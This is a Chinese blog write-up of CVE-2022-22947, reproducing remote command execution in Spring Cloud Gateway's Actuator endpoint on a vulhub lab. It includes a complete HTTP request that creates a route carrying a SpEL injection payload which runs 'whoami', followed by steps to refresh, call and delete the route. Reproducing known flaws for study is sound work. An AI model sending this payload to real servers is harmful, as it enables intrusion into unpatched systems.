Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)

Damara ·
更新时间:2024-09-20
· 738 次阅读

目录

漏洞描述

环境搭建

漏洞复现

声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。

漏洞描述

使用Spring Cloud Gateway的应用程序在Actuator端点启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可以恶意创建允许在远程主机上执行任意远程执行的请求。

当攻击者可以访问actuator API时,就可以利用该漏洞执行任意命令。

影响范围

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本

环境搭建

漏洞环境搭建,采用vulhub,搭建方法,自行搜索。

搭建成功后,访问一下

漏洞复现

1.查看actuator端点是开启的

抓包,并修改接口为/actuator

2. 查看/actuator/gateway/routes

返回的路由信息,意思是当访问index时,路由到http://example.com:80

3.创建路由

POST /actuator/gateway/routes/test HTTP/1.1 Host: 192.168.10.171:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT If-None-Match: "3147526947" Cache-Control: max-age=0 Content-Type: application/json Content-Length: 431 { "id": "test", "filters": [ { "name": "AddResponseHeader", "args": { "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}", "name": "cmd" } } ], "uri": "http://example.com:80", "order": 0 }

4.刷新路由

5.访问创建的路由

6.删除路由

7.再次刷新路由

8.然后,访问该路由,发现路由已被删除

到此这篇关于Spring Cloud Gateway远程命令执行漏洞(CVE-2022-22947)的文章就介绍到这了,更多相关Spring Cloud Gateway远程命令执行漏洞内容请搜索软件开发网以前的文章或继续浏览下面的相关文章希望大家以后多多支持软件开发网!



spring gateway 漏洞

需要 登录 后方可回复, 如果你还没有账号请 注册新账号